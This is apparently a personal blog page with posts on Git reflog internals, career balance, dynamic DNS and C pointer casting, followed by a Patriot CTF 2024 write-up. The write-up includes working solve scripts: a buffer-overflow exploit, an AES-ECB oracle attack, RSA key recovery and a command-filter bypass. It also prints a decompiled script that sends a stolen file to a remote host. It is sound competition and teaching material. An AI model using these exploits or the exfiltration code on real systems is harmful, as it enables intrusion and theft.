Ramkumar's blog

Gitting to know Git reflog

Ramkumar — Sat, 08 Mar 2025 00:00:00 +0000

We know that git tracks changes to files in working directory, allowing us to easily undo modifications or revert to previous states. But what happens when we accidentally delete an unpublished branch or perform hard reset to a wrong commit? That's when we need undo button for the git operation itself. Have you ever used git reset --hard and then scrambled to recover your changes by copying commands from Stackoverflow or ChatGPT? If so, you've likely encountered git reflog. Think of it as a micro version control (log) for your Git references. For straight forward reverting of file changes, read this blog post from GitHub, How to undo (almost) anything with Git. While the GitHub's post covers reflog in brief, it doesn't delve into reflog's full power. There are articles with reflog commands to recover but I did not see any that explained why or how it works. This post aims to explain the internals of git in the context of reflog with examples.

Some Git Internals

In order for git reflog and git reset commands to not seem magical, let's understand how git stores commits and references. The following information changed the way I think about git and I hope it does the same for you. Make sure to read it slowly and visualize the concepts.

Commits

It is a common misconception that git stores commits as diffs from the previous commit. While this mental model is useful, it is not entirely accurate. Git stores snapshots of the entire working directory at each commit. This doesn't mean that git duplicates the entire working directory every time you commit, it uses packfiles and file hashes to optimize storage (don't worry about this for now). Just remember that given a commit ID, git can recreate the entire working directory at that commit, from the snapshots.

The folder .git/objects inside a repository is sort of an object database where git stores many objects. Now, what are these objects? Git stores commits, trees, and blobs as objects. A commit object contains metadata like author, commit message, parent commit ID, and a reference to a tree object (the snapshot of working directory). A tree object contains references to blobs (files) and other tree objects (subdirectories). A blob object contains the file contents. What matters is that given a commit ID, git can fetch the tree object ID and from there, recursively fetch all the blobs to recreate the working directory at that commit. Julia Evans (@b0rk) has a great zine on this topic, Git - wizardzines.

Source: https://wizardzines.com/zines/git/

References

Branches, tags, and HEAD are examples of references. Git references are pointers to commits. To create a branch, git creates a file in .git/refs/heads with the branch name as the filename and the commit ID as the content. All the information that git stores for a branch is only the commit ID as seen in below example.

$ git branch
* devel
  master

$ cat .git/refs/heads/master
c0c0f13291ba4aa367cfd2736ab6e85dcdb2a979

$ cat .git/refs/heads/devel
758f588337b33c22b0c2da81bab80e5b9b5555e8

For demostration puposes, I decided to use the rohitmungre/hello-world repository. Someone is in a journey of writing write hello world in all programming languages. As a moral support, I decided to use this repository for examples.

But, when we do git log, we can see the all commits in the branch. The reason this works is each commit object contains parent commit ID. Think of commits like a linked list, each commit points to its parent commit forming a chain. We need the tip commit ID to traverse the chain and see all the commits. References, including branches, are just pointers to the tip of the chain i.e. references are head pointers of the linked list. A branch name, which is a reference, is just a convenient way to refer to the tip commit.

HEAD is a special reference that points to another reference. The HEAD, stored in .git/HEAD, is by which git knows what is the current branch (the commit chain that is currently checked out in the working directory). When switching branches, git updates HEAD file with name of the target branch. In short, we could have multiple chains of commits, each chain starting from a reference. The HEAD points to one among them denoting the chain that is currently checked out.

$ git branch
* devel
  master

$ cat .git/HEAD
ref: refs/heads/devel

Git reflog

Before we dive into reflog, let's understand what happens when we do a git reset --hard. The git reset command is used to move the branch reference to a different commit. The --hard option tells git to update the working directory to match the commit contents. git reset --hard HEAD~1 is used to remove the latest commit from the branch. The HEAD~1 is a shorthand for the commit that is one before the current commit.

$ cat .git/refs/heads/devel
758f588337b33c22b0c2da81bab80e5b9b5555e8

$ git reset --hard HEAD~1
HEAD is now at 0733b44 Create hello.bf

$ cat .git/refs/heads/devel
0733b445485af40a798d6d07dc72f84986025975

But what happened to the 758f588 commit? It is still there, but the branch reference is no longer pointing to it.

$ cat .git/refs/heads/devel
758f588337b33c22b0c2da81bab80e5b9b5555e8

$ git reset --hard HEAD~1
HEAD is now at 0733b44 Create hello.bf

$ cat .git/refs/heads/devel
0733b445485af40a798d6d07dc72f84986025975


$ git cat-file -p 758f588337b33c22b0c2da81bab80e5b9b5555e8
tree 2b0424507c2767b5a7f5d35e6278419cdeb9132a
parent 0733b445485af40a798d6d07dc72f84986025975
author Rohit Mungre <rohitmungre@users.noreply.github.com> 1740835749 +0000
committer GitHub <noreply@github.com> 1741364083 +0000

develop hello.hs

As seen above, the commit object of 758f588 is still there, but the branch reference is no longer pointing to it. The commit 758f588 is no longer connected to any chain that starts from a reference (refs/heads/devel or refs/heads/master). This is why the commit is not visible in git log. But the commit object, including its snapshot, is still present in the object database. Hence, a more accurate representation of the reset operation would be below.

If we know the lost commit ID, we can still see the commit. We can also reset back to that commit and recover the changes. But who remembers commit IDs? This is where reflog comes in. Reflog is a log of all changes to references. When we do a git reset --hard, git logs the previous commit ID in reflog. This is why reflog can be used to recover from accidental resets.

$ git reflog
0733b44 (HEAD -> devel) HEAD@{0}: reset: moving to HEAD~1
758f588 HEAD@{1}: commit (amend): develop hello.hs
c0c0f13 (origin/master, origin/HEAD, master) HEAD@{2}: checkout: moving from master to devel

The reflog shows the previous commit ID and the operation that was performed. The HEAD@{0} (first entry in reflog) is the current tip commit ID that HEAD resolves to. The HEAD@{1} refers to the commit ID that HEAD resolved to before that. This is accompanied with the operation that changed the HEAD. To undo the reset command, we can do either of the below.

$ git reset --hard HEAD@{1}
HEAD is now at 758f588 develop hello.hs

$ git reset --hard 758f588
HEAD is now at 758f588 develop hello.hs

So, does git ever delete a commit? It does, but only after a grace period (default 2 weeks). Git has a garbage collection mechanism that runs periodically and deletes unreachable objects (including commits that are not linked to any chain starting from a reference). But until then, we can recover from accidental resets using reflog.

The reflog works the same for any reference, not just HEAD. For example, devel{2} refers to the commit ID that was stored in ./git/refs/heads/devel two changes ago to that reference. We can see the reflog for a specific reference using git reflog <ref>. git reflog without any arguments shows the reflog for HEAD.

$ git reflog devel
758f588 (HEAD -> devel) devel@{0}: reset: moving to HEAD@{1}
0733b44 devel@{1}: reset: moving to HEAD~1
758f588 (HEAD -> devel) devel@{2}: commit (amend): develop hello.hs

Various ways reflog can save the day

Now, let's see how reflog can be used to recover from various git mishaps.

Scenario 1: Accidental reset to a wrong commit!

As we saw earlier, reflog can be used to recover from accidental resets. If you reset to a wrong commit, you can use reflog to reset to HEAD@{1} or any commit ID that was logged in reflog.

git reset --hard HEAD@{N}

Scenario 2: Deleted a local branch by mistake!

When a branch is deleted, the branch reference is removed, but the commits are still there. We can use reflog to recover the branch.

$ git switch master
Switched to branch 'master'
Your branch is up to date with 'origin/master'.

$ git branch
  devel
* master

$ cat .git/refs/heads/devel
758f588337b33c22b0c2da81bab80e5b9b5555e8

$ git branch -D devel
Deleted branch devel (was 758f588).

$ git branch
* master

Now, let's use reflog to find the lost commit ID. When we moved from devel to master, the HEAD reference .git/HEAD was updated to point to refs/heads/master. This change to HEAD reference would have been captured by reflog. With this, we can know the commit ID that HEAD was pointing to before the branch was deleted.

$ git reflog
c0c0f13 (HEAD -> master, origin/master, origin/HEAD) HEAD@{0}: checkout: moving from devel to master
758f588 HEAD@{1}: reset: moving to 758f588

As seen in reflog, the tip of the devel branch was 758f588. Now, we must checkout to that commit. Wait, checkout? how does checkout differ from reset? The reset command moves the current branch (master) reference to a different commit. We don't want to change tip of master. The checkout command moves the HEAD reference to a different branch/commit.

$ git checkout HEAD@{1}
Note: switching to 'HEAD@{1}'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 758f588 develop hello.hs

Detached HEAD state? What is that? When we checkout to a commit ID, we are in a detached HEAD state. This means HEAD is not pointing to any branch, instead it is pointing to a commit directly.

$ cat .git/HEAD
758f588337b33c22b0c2da81bab80e5b9b5555e8

The content of .git/HEAD would normally be ref/heads/master or ref/heads/devel. But in detached HEAD state, it is the commit ID itself. We have recovered the commit chain, but just not the branch yet. From here, we can create a new branch devel that would set the branch reference to the same commit as HEAD.

$ git switch -c devel
Switched to a new branch 'devel'

$ git branch
* devel
  master

Scenario 3: Unwanted amend commit happened!

Let's say we have made changes and committed them. But we realize that we missed something and want to amend the commit. We can use git commit --amend to add the changes to the previous commit. As a shell "up arrow" enthusiast, I have done amend commit instead of a new commit sometimes. How do we undo this while preserving the changes?

Remember that commit ID is the SHA-1 hash of the commit object, which includes the tree hash and commit details. In case, any of the commit details change, the commit ID would change. When we do git commit --amend, git creates a new commit object and replaces the branch reference.

$ git status
On branch devel
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        modified:   hello.py

$ git log -n2 --oneline
758f588 (HEAD -> devel) develop hello.hs
0733b44 Create hello.bf

$ git commit --amend
[devel 2942b82] develop hello.hs
 2 files changed, 2 insertions(+), 2 deletions(-)
 create mode 100644 hello.hs

$ git log -n2 --oneline
2942b82 (HEAD -> devel) develop hello.hs
0733b44 Create hello.bf

Do you see how the commit ID changed from 758f588 to 2942b82? It is because git has created an enirely new commit object.

The previous commit object ID can be found in reflog.

$ git reflog
2942b82 (HEAD -> devel) HEAD@{0}: commit (amend): develop hello.hs
758f588 HEAD@{1}: checkout: moving from 758f588337b33c22b0c2da81bab80e5b9b5555e8 to devel

To reset back to the state before the amend commit, we can do a git reset --soft. --soft because we want to keep the changes in the working directory.

$ git reset --soft HEAD@{1}

$ git status
On branch devel
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        modified:   hello.py

$ git log -n2 --oneline
758f588 (HEAD -> devel) develop hello.hs
0733b44 Create hello.bf

Caveats

Reflog captures only the changes to references (HEAD or branches). It cannot help recover uncommited changes to files.
Reflog is local to the repository. If you have cloned a repository, you won't have reflog of the remote repository.
Unreachable commits and other objects are deleted by git garbage collection (default 2 weeks). If you have lost a commit and it is not in reflog, it is likely gone. The gc.pruneExpire configuration can be used to change the grace period.

Side Quests in the Grand Line

Ramkumar — Mon, 27 Jan 2025 00:00:00 +0000

In the vast, open-world landscapes of our favorite games, we often face a compelling choice: should we embark on side quests to uncover new territories and hidden treasures, or should we hone our skills and master a single path? Just as in these games, any learning journey presents us with the same choice—explore the unknown or perfect what we know. In this blog post, I discuss my experience of trying to balance between exploration and mastery in my career.

Mastery vs Exploration

This is a dilemma that has plagued me for years. Mastery requires 100% commitment to a single path, while exploration demands a willingness to venture into the unknown. You can't have both. Specialists are people on one side of the spectrum, who have dedicated their lives to mastering a single domain. They are the best at what they do, but they often lack the breadth of knowledge that generalists possess. Generalists, on the other hand, have a wide range of skills and knowledge but may not be the best in any one area.

As a kid fascinated by computers, I have always been eager to learn everything about them which put me on the far generalist side (Well, within the realm of computers). However, jack-of-all-trades is a master of none. I have often found myself spread thin across various domains, unable to dive deep into any one of them. I started exploring android and web applications, picked up application security and reverse engineering, drifted to network programming and ended up in low-level systems programming and cryptography. At times, this has led to a sense of dissatisfaction, as I felt I was not making significant progress in any particular area. There were also times when being a generalist helped me connect the dots and think I would not have it any other way. In terms of Capture the Flag (CTF) competitions, I feel good about being able to solve challenges in all categories ranging from web to pwn to crypto. But I am not the best in any of them.

Professional Journey

A profesional career often demands specialization which has slowly pulled me towards the center of the spectrum from being an explorer. From my brief experience, I have come to accept that there is a very little space for jack of all trades in the industry. Employers look for specialists with expertise in a handful of areas. I have tried to map this situation in an Ikigai distribution map. I have come to realize I would need to pursue both "What I love" and "What I can be paid for" independently.

Side Quests

I am still figuring out the right balance between exploration and mastery. While it is a permanent jugglery, I have adopted the strategy of side quests while mastering a single path. Just like the journey of Straw Hat Pirates to reach One Piece in the Grand Line. This means I have to pick one path to master which is a tough choice for me. While the side quests are not direcly related to my career, they bring me joy and fulfillment. Often, they also help me bridge gaps in my knowledge and compliment my primary path. For example, CTF pwn challenges require exploiting memory vulnerabilities which requires learning linux shell and process model in depth. As a side effect, this significantly improved my debugging skills. Does this mean I have given up my desire to be jack of all trades? I don't have an answer. But, I am happy with the balance I have struck so far.

The journey of unlocking new knowledge is never-ending and filled with excitement. It is a marathon, not a sprint. Just need to keep going however we see fit at that moment and enjoy the ride.

Using dynamic DNS for home servers

Ramkumar — Thu, 28 Nov 2024 00:00:00 +0000

It is often joked about sharing localhost URL with others, but there are scenarios where exposing a local port to the internet is genuinely useful. For instance, I can run a Plex media server at home instead of paying for Google photos, also stream my downloaded movies/shows from any device. Many internet providers use CGNAT for IPv4, which combined with NAT in home routers creates a double NAT. While this is cheaper for ISPs and also beneficial for security, it complicates exposing your home servers to internet.

With the advent of IPv6, things are changing. ISPs are now providing public IPv6 addresses. Since IPv6 addresses are plenty, NAT is typically not used. The remaining challenge is that IPv6 addresses are typically dynamic and change frequently. This is where dynamic DNS comes into play. By obtaining a domain name and running a dynamic DNS software, you can keep the DNS record updated whenever your home IPv6 address changes. This allows you to access your home servers using a static domain name instead of the ever-changing IP address.

Exposing home servers to internet can heavily undermine security of your home network. Not recommended unless you know what you are doing.

Here is my setup of Plex media server with dynamic DNS https://gist.github.com/ramenhost/9d26175abcbebf5c739e8de7d3ec3d13

Typecasting pointers in C is arch-dependent

Ramkumar — Tue, 12 Nov 2024 00:00:00 +0000

For years, I've been confidently downcasting pointers after checking for value overflow. Today I learned that typecasting pointers to a smaller datatype works only on little-endian architectures. On big-endian systems, the pointer will reference the most significant bytes, leading to unexpected results. I realized this the hard way when this PR failed CI with flying colors.

Patriot CTF 2024 - Writeup

Ramkumar — Mon, 23 Sep 2024 00:00:00 +0000

All CTF files can be found in Github repository patriot-ctf-2024

Challenge: crypto/bigger-is-better

I heard choosing a small value for e when creating an RSA key pair is a bad idea. So I switched it up!
Given: dist.txt

Solution

When RSA public exponent (e) is large, private exponent tends to be small. Small d can be found using wiener's attack. I used owiener python module.

 1#!/usr/bin/env python3
 2import owiener
 3from Crypto.Util.number import long_to_bytes
 4
 5# copy values from dist.txt
 6
 7N = 0xa0d9f4 ...
 8e = 0x5af5db ...
 9c = 0x731ceb ...
10
11#--------Wiener's attack--------#
12
13d = owiener.attack(e, N)
14
15if d:
16    m = pow(c, d, N)
17    flag = long_to_bytes(m).decode()
18    print(flag)
19else:
20    print("Wiener's Attack failed.")

Flag

ramenhost@ctf$ python3 solve.py
pctf{fun_w1th_l4tt1c3s_f039ab9}

Challenge: crypto/hard-to-implement

I have a flag for you. We should talk more over my secure communications channel.
nc chal.competitivecyber.club 6001
Given: cryptor.py

Remote service

The remote service running on nc chal.competitivecyber.club 6001 is cryptor.py.

cryptor.py

 1#!/usr/bin/python3
 2
 3from Crypto.Cipher import AES
 4from Crypto.Util.Padding import pad
 5from Crypto.Random import get_random_bytes
 6from external import *
 7import socketserver, signal
 8
 9listen = 1337
10attempts = 1500
11flag = getflag()
12
13def encrypt(key,plaintext):
14	cipher = AES.new(key, AES.MODE_ECB)
15	pt = pad(plaintext + flag.encode(), 16)
16	return cipher.encrypt(pt).hex()
17
18def serve(req):
19	key = get_random_bytes(16)
20	tries = 0
21	req.sendall(b"Thank you for using our secure communications channel.\nThis channel uses top-shelf military-grade encryption.\nIf you are not the intended recepient, you can't read our secret.")
22	while tries < attempts:
23		req.sendall(b'\n('+str.encode(str(tries))+b'/'+str.encode(str(attempts))+b') ')
24		req.sendall(b'Send challenge > ')
25		try:
26			ct = encrypt(key, req.recv(4096).strip(b'\n'))
27			req.sendall(b"Response > " + ct.encode() + b'\n')
28		except Exception as e:
29			req.sendall(b"An error occured!\n")
30		tries += 1
31	req.sendall(b'\nMax attempts exceeded, have a good day.\n')
32
33class incoming(socketserver.BaseRequestHandler):
34	def handle(self):
35		signal.alarm(1500)
36		req = self.request
37		serve(req)
38
39def main():
40	socketserver.TCPServer.allow_reuse_address = True
41	server = ReusableTCPServer(("0.0.0.0", listen), incoming)
42	server.serve_forever()
43
44if __name__ == "__main__":
45	main()
46

Solution

The remote service takes out input, appends flag and performs AES_ECB encryption. Since ECB mode does not use IV, same key and plaintext pair will output same ciphertext always. AES block size is 16 bytes. By controlling our input length, we can control how many flag characters will be present in first block.

Let's assume flag to be PCTF{UNKNOWN}. The below table shows how AES first block changes with input length.

Input	Input + Flag (`AES first block`)	No of flag chars in first block
AAAAAAAAAAAAAAA	`AAAAAAAAAAAAAAAP`CTF{UNKNOWN}	1
AAAAAAAAAAAAAA	`AAAAAAAAAAAAAAPC`TF{UNKNOWN}	2

To brute force the first character of the flag, we can send input of length 15 AAAAAAAAAAAAAAA and consider the output's first block as truth ciphertext.

Truth ciphertext = AES(key, `AAAAAAAAAAAAAAAP`)

We then send all possible characters in 16th position (AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAB, AAAAAAAAAAAAAAAC, ...). If the first block of any output is same as truth ciphertext, then we have found the first character of the flag.

Similarly, we can bruteforce the enitire flag by sending inputs of length 15, 14, 13, ... 1 and comparing the first block of ciphertext.

solve.py

 1from pwn import *
 2import string
 3
 4host = 'chal.competitivecyber.club'
 5port = 6001
 6
 7flag_charset = string.printable
 8
 9flag = 'pctf{'
10junk = 'A' * 16
11
12def encrypt(conn, data):
13    conn.sendlineafter(b'Send challenge > ', data.encode())
14    conn.recvuntil(b'Response > ')
15    return conn.recvline().strip()
16
17conn = remote(host, port)
18
19p = log.progress('Flag: ')
20
21while flag[-1] != '}':
22    payload = junk[:-(len(flag)+1)]
23    truth = encrypt(conn, payload)[:32]
24    for c in flag_charset:
25        p.status(f'{flag}{c}')
26        if truth == encrypt(conn, payload + flag + c)[:32]:
27            flag += c
28            break
29
30p.success(flag)
31conn.close()

Flag

ramenhost@ctf$ python3 solve.py
[+] Opening connection to chal.competitivecyber.club on port 6001: Done
[+] Flag: : pctf{ab8zf58}
[*] Closed connection to chal.competitivecyber.club port 6001

Challenge: crypto/high-roller

We recieved word that a criminal APT had developed their own method for generating secure asymmetric encryption keys. We were able to intercept emails between the group including encrypted comms, and a 7zip file. All we managed to find in the 7zip file they sent out was their public key, and the key generator. Can you decrypt the comms?

pycryptodome v3.20.0

Flag format: CACI{}
Given: flag.enc, gen_setup.7z (notes.txt, BestEncrypt.py, public_key.pem)

Analysis

The script used by adversary is BestEncrypt.py which uses pycryptodome library to generate RSA keypair.

BestEncrypt.py

 1#! /usr/bin/python3.10
 2from Crypto.Util.number import *
 3from Crypto.PublicKey import RSA
 4import random
 5import time
 6
 7random.seed(int(time.time()))
 8p, q = getPrime(512, random.randbytes), getPrime(512, random.randbytes)
 9n = p*q
10e = getPrime(512)
11phi = (p-1)*(q-1)
12
13assert GCD(e, phi) == 1
14d = pow(e, -1, phi)
15
16key = RSA.construct((n, e, d, p, q))
17with open("public_key.pem", "wb") as f:
18    f.write(key.publickey().export_key("PEM"))
19
20with open("private_key.pem", "wb") as f:
21    f.write(key.export_key("PEM"))

The public key is used to encrypt the flag and encrypted flag is stored in flag.enc.

Solution

For RSA prime generation, the RNG is seeded with current time. If we can find the time at which the adversary generated the keypair, we can seed our RNG with that time and generate the same keypair. The given gen_setup.7z has preserved the time at which the keypair was generated. The stat command shows the last modified time of the public key file.

ramenhost@ctf$ stat -c '%n %y' public_key.pem
public_key.pem 2024-09-21 22:39:18.000000000 +0530

We can convert the above datetime to unix timestamp and use it to seed our RNG. The following script generates the same RSA keypair as the adversary.

solve.py

 1import random
 2import subprocess
 3from Crypto.Util.number import *
 4from Crypto.PublicKey import RSA
 5
 6# Unix timestamp of public_key.pem
 7key_timestamp = 1726938558
 8
 9# taken from "openssl rsa -pubin -in public_key.pem -text -noout"
10e = 0x00bd202092e27db343467c522563436c1ef2e51cee6cc0b02d728751011d954ad9c2fc485aa424e0162aa072360c8c40e8f6b4854b46bb9b07999697afc7da148b
11
12random.seed(key_timestamp)
13p, q = getPrime(512, random.randbytes), getPrime(512, random.randbytes)
14n = p*q
15phi = (p-1)*(q-1)
16
17assert GCD(e, phi) == 1
18d = pow(e, -1, phi)
19
20key = RSA.construct((n, e, d, p, q))
21
22with open("private_key.pem", "wb") as f:
23    f.write(key.export_key("PEM"))
24
25subprocess.run("openssl rsautl -decrypt -in flag.enc -inkey private_key.pem".split())

Flag

ramenhost@ctf$ python3 solve.py
CACI{T!ME_T0_S33D}

Challenge: crypto/idk-cipher

I spent a couple of hours with ???; now I am the world's best cryptographer!!! note: the flag contents will just random chars-- not english/leetspeak

Cipher Text: QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=

Please wrap the flag with pctf{}.

Given: encode.py

Analysis

The encryption script encode.py uses a custom cipher to encrypt the flag. It splits xor's first byte of key with both first and last byte of flag. Then, it xors the second byte of key with second and second last byte of flag and so on.

encode.py

 1import base64
 2# WARNING: This is a secret key. Do not expose it.
 3srt_key = 'secretkey' # // TODO: change the placeholder
 4usr_input = input("\t:"*10)
 5if len(usr_input) <= 1:
 6    raise ValueError("PT must be greater than 1")
 7if len(usr_input) % 2 != 0:
 8    raise ValueError("PT can only be an even number")
 9if not usr_input.isalnum():
10    raise ValueError("Only alphabets and numbers supported")
11# WARNING: Reversing input might expose sensitive information.
12rsv_input = usr_input[::-1]
13output_arr = []
14for i in range(int(len(usr_input) / 2)):
15    c1 = ord(usr_input[i])
16    c2 = ord(rsv_input[i])
17    enc_p1 = chr(c1 ^ ord(srt_key[i % len(srt_key)]))
18    enc_p2 = chr(c2 ^ ord(srt_key[i % len(srt_key)]))
19    output_arr.append(enc_p1)
20    output_arr.append(enc_p2)
21# WARNING: Encoded text should not be decoded without proper authorization.
22encoded_val = ''.join(output_arr)
23b64_enc_val = base64.b64encode(encoded_val.encode())
24R = "R"*20
25E = "E"*5
26EXCLAMATION = "!"*5
27print(f"ULTRA SUPE{R} SECUR{E} Encoded Cipher Text{EXCLAMATION}:", b64_enc_val.decode())

Solution

Surprisingly, the key is hardcoded in the script. We can reverse the encryption process to get the flag.

 1import base64
 2
 3b64_enc_val = "QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I="
 4srt_key = 'secretkey'
 5
 6# Calculate the srt_key from b64_enc_val
 7decoded_val = base64.b64decode(b64_enc_val)
 8first = bytearray()
 9second = bytearray()
10key_len = len(srt_key)
11for i in range(0, len(decoded_val), 2):
12    byte1 = decoded_val[i]
13    byte2 = decoded_val[i + 1] if i + 1 < len(decoded_val) else 0
14    key_byte = ord(srt_key[(i // 2) % key_len])
15    first.append(byte1 ^ key_byte)
16    second.append(byte2 ^ key_byte)
17
18print("pctf{" + first.decode() + bytearray(reversed(second)).decode() + "}")

Flag

ramenhost@ctf$ python3 solve.py
pctf{234c81cf3cd2a50d91d5cc1a1429855f}

Challenge: forensics/bad-blood

Nothing is more dangerous than a bad guy that used to be a good guy. Something's going on... please talk with our incident response team.
nc chal.competitivecyber.club 10001

Given: suspicious.evtx

Solution

We can open the suspicious.evtx file in Event Viewer and look for the event logs. The event logs contain the answers to the questions asked by the challenge. We can answer the questions and get the flag.

The first three answers are directly found in the event logs. The fourth answer is found by analyzing the Invoke-UrbanBishop.ps1 script in VirusTotal.

Answers:

Invoke-P0wnedshell.ps1
Invoke-UrbanBishop.ps1
WinRM
Covenant

Flag

ramenhost@ctf:~$ nc chal.competitivecyber.club 10001
Welcome analyst.
We recently had to terminate an employee due to a department-cut.
One of our most dramatic terminations was that of a C-suite executive, Jack Stoneturf.
We believe he may have maliciously infected his workstation to maintain persistence on the corporate network.
Please view the provided event logs and help us conduct our investigation.


Answer the following questions for the flag:
Q1. Forensics found post exploitation activity present on system, network and security event logs. What post-exploitation script did the attacker run to conduct this activity?
        Example answer: PowerView.ps1
>> Invoke-P0wnedshell.ps1
That makes sense.

Q2. Forensics could not find any malicious processes on the system. However, network traffic indicates a callback was still made from his system to a device outside the network. We believe jack used process injection to facilitate this. What script helped him accomplish this?
        Example answer: Inject.ps1
>> Invoke-UrbanBishop.ps1
That makes sense.

Q3. We believe Jack attempted to establish multiple methods of persistence. What windows protocol did Jack attempt to abuse to create persistence?
        Example answer: ProtoName
>> WinRM
That makes sense.

Q4. Network evidence suggest Jack established connection to a C2 server. What C2 framework is jack using?
        Example answer: C2Name
>> Covenant
That makes sense.

That'll do. Thanks for your help, here's a flag for your troubles.
pctf{3v3nt_l0gs_reve4l_al1_a981eb}

Challenge: forensics/simple-exfiltration

We've got some reports about information being sent out of our network. Can you figure out what message was sent out.

Given: exfiltration_activity_pctf_challenge.pcapng

Solution

After analyzing the pcap file in Wireshark, we can see that the ICMP ping packets ttl field was used as a covert channel sending one byte per ICMP request.

We can extract the data from the ttl field and convert it to ASCII to get the flag.

tshark -r exfiltration_activity_pctf_challenge.pcapng -Y "icmp.type == 8" -Tfields -e ip.ttl | awk '{printf "%c", $1} END{printf "\n"}'

Flag

ramenhost@ctf$ ./solve.sh
pctf{time_to_live_exfiltration}

Challenge: forensics/slingshot

We have recently suffered a data breach, and we need help figuring out if any data was stolen. Can you investigate this pcap file and see if there is any evidence of data exfiltration and if possible, what was stolen.

Given: Slingshot.pcapng

Analysis

The given pcap file has 30 TCP streams. On stream 29 we can see that there was a file named download.pyc downloaded to victim's machine. We can extract the file from the pcap file and decompile it to understand what was stolen.

The file download.pyc is a compiled python bytecode file. I used pycdc to decompile the file and got the following python code.

download.py (decompiled from download.pyc)

 1# Source Generated with Decompyle++
 2# File: download.pyc (Python 3.11)
 3
 4import sys
 5import socket
 6import time
 7import math
 8s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 9file = sys.argv[1]
10ip = sys.argv[2]
11port = 22993
12with open(file, 'rb') as r:
13    data_bytes = r.read()
14    None(None, None)
15with None:
16    with None:
17        if not None:
18            pass
19current_time = time.time()
20current_time = math.floor(current_time)
21key_bytes = str(current_time).encode('utf-8')
22init_key_len = len(key_bytes)
23data_bytes_len = len(data_bytes)
24temp1 = data_bytes_len // init_key_len
25temp2 = data_bytes_len % init_key_len
26key_bytes *= temp1
27key_bytes += key_bytes[:temp2]
28encrypt_bytes = (lambda .0: pass# WARNING: Decompyle incomplete
29)(zip(key_bytes, data_bytes)())
30s.connect((ip, port))
31s.send(encrypt_bytes)

The python bytecode was for python 3.11 and many of the decompilers don't have reliable support above python 3.9. We have to infer based on the partial decompilation we got.

Solution

The download.py script reads a file and sends it to a remote server. The file is encrypted using a key generated from the current time. The file is then encrypted by XORing the key and the file data. The encrypted file is then sent to the remote server. So, the next TCP stream (stream 30) in the pcap file should contain the encrypted file. We can extract the file and decrypt it using the same key to get the original file. The key can be recovered by timestamp of the packet in the pcap file. I used CyberChef to decrypt the file. The decrypted file is an image with flag.

Flag

Challenge: misc/really-only-echo

Hey, I have made a terminal that only uses echo, can you find the flag?
nc chal.competitivecyber.club 3333

Given: server.py

Solution

The given server says that it is a shell that only uses the echo command. It uses following code to filter out any other command.

 1blacklist = os.popen("ls /bin").read().split("\n")
 2blacklist.remove("echo")
 3#print(blacklist)
 4
 5def filter_check(command):
 6    user_input = command
 7    parsed = command.split()
 8    #Must begin with echo
 9    if not "echo" in parsed:
10        return False
11    else:
12        if ">" in parsed:
13            #print("HEY! No moving things around.")
14            req.sendall(b"HEY! No moving things around.\n\n")
15            return False
16        else:
17            parsed = command.replace("$", " ").replace("(", " ").replace(")", " ").replace("|"," ").replace("&", " ").replace(";"," ").replace("<"," ").replace(">"," ").replace("`"," ").split()
18            #print(parsed)
19            for i in range(len(parsed)):
20                if parsed[i] in blacklist:
21                    return False
22            return True

The blacklist only contains binary names present in /bin folder. However, we can use the full path of the binary to bypass the blacklist. i.e. /bin/cat != cat. Also, we just need to have echo somewhere in the command.

solve.txt

/bin/cat flag.txt echo

Flag

ramenhost@ctf$ nc chal.competitivecyber.club 3333 < solve.txt
This is shell made to use only the echo command.
Please input command: pctf{echo_is_such_a_versatile_command}

Challenge: misc/rtl-warm-up

Let's Warm up. Spartan's wanted to create their own ASIC, to secure doors. One of the spy was able to extract the simulation file, can you find the password to the door? Note: The spaces are _

Given: flag.vcd

Solution

I opened up the flag.vcd file in GTKWave and found the following signal.

Converting the hex values to ASCII gives the flag.

Challenge: pwn/not-so-shrimple-is-it

Peel back the shell, unless you eat shrimp with the shell.
nc chal.competitivecyber.club 8884

Given: shrimple

Analysis

The given file shrimple is a 64-bit ELF executable.

ramenhost@ctf$ checksec --file shrimple
[*] '/home/ramenhost/Git/ctf-writeups/patriot-ctf-2024/pwn/not-so-shrimple-is-it/shrimple'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The Ghidra decompilation of the main function is shown below.

The code also has a function named shrimp() that will print the flag, but it is not invoked in the main function.

Solution

The strncat() call in main function results in a buffer overflow. By exploiting this, we can overwrite the return address of the main function with the address of the shrimp function to print the flag. The ELF has no canary and no PIE, so we can easily exploit the buffer overflow vulnerability.

However, there is a catch. The strncat() stops copying when it encounters a null byte. The address of the shrimp function is only 3 bytes (remaining 5 \x00). The existing value of return address is to __libc_start_main which has 6 non-null bytes.

For example,

Existing return address: 0x7fbaee4013ef
shrimp address: 0x401282
After overwriting: 0x7fba00401282

In above example, strncat stopped after coping 3 bytes and added one NULL terminator. But we need to zeroize two more bytes. Luckily, we can send input three times, so we use first two times to zeroize the MSB bytes.

exploit.py

 1from pwn import *
 2
 3context.log_level = 'info'
 4context.terminal = ['tmux', 'splitw', '-v']
 5context.arch = 'x86_64'
 6
 7target = './shrimple'
 8target_elf = ELF(target)
 9
10# io = process(target)
11# io = gdb.debug(target, gdbscript='''
12# break *0x4013ef
13# continue
14# ''')
15io = remote('chal.competitivecyber.club', 8884)
16
17io.recvrepeat(1)
18io.sendline(cyclic(42)) # write 0x00 to 6th byte
19io.sendline(cyclic(41)) # write 0x00 to 5th byte
20# Address of shrimp function adjusted for stack alignment
21io.sendline(cyclic(38) + p64(0x0401282))
22
23info(io.recvuntil(b'}'))
24io.close()

Flag

ramenhost@ctf:~/Git/ctf-writeups/patriot-ctf-2024/pwn/not-so-shrimple-is-it$ python3 exploit.py
[+] Opening connection to chal.competitivecyber.club on port 8884: Done
[*] Adding shrimp...
    You shrimped the following: so easy and so shrimple, have fun!aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaaka

